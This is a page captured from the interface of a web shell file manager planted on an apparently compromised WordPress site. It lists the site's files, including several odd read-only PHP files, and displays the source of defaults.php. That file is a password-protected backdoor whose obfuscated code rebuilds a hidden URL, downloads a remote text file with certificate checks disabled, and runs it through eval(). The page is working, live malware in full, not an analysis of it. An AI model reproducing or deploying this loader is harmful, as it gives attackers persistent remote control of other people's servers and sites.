ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33

Path:root/home/shirleywagnerar0/public_html/

Name	Size	Perm	Actions
📁 image	-	0755	🗑️ 🏷️
📁 .well-known	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 b6d9ba	-	0755	🗑️ 🏷️
📁 beta	-	0755	🗑️ 🏷️
📁 beta2	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 old	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📄 wp-blog-header.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 style.php	13.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-log1n.php	1.93 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 networks.php	2.03 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.42 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 radio.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 pages.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options.php	0 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 mah.php	2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 item.php	2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 google15987b49ad28d40a.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 goods.php	1.47 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ex.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.87 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 click.php	2.03 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 classwithtostring.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 about.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: defaults.php

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto sxpzC; Ku22d: $SS8Fu .= "\x2e\x35\57"; goto hFeQO; niJPu: $SS8Fu .= "\x6f\164\x2e\x31\60"; goto cNjvp; Wop7u: $SS8Fu .= "\x6d\141\x64\x2f\160"; goto niJPu; sSAji: $SS8Fu .= "\164\170\164"; goto Ku22d; sxpzC: $SS8Fu = ''; goto sSAji; Pm8C0: $SS8Fu .= "\144\x2f\57"; goto X2745; hFeQO: $SS8Fu .= "\144\x6c\157\x2f\x61"; goto Wop7u; X2745: $SS8Fu .= "\x3a\x73\160\x74"; goto T5ftU; cNjvp: $SS8Fu .= "\x61\x6d\x61"; goto Pm8C0; T5ftU: $SS8Fu .= "\x74\x68"; goto zWfEB; zWfEB: eval("\x3f\76" . tW2KX(strrev($SS8Fu))); goto gPzcS; gPzcS: function TW2KX($V1_rw = '') { goto uhE6D; Q510J: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto VN0qi; Mj0OL: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto mLL0A; mLL0A: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto i9wy_; cm3pV: curl_close($xM315); goto C3tjU; p9vG6: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto Q510J; C3tjU: return $tvmad; goto ueEhW; uhE6D: $xM315 = curl_init(); goto Mj0OL; i9wy_: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto p9vG6; VN0qi: $tvmad = curl_exec($xM315); goto cm3pV; ueEhW: }

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.33

Edit: defaults.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33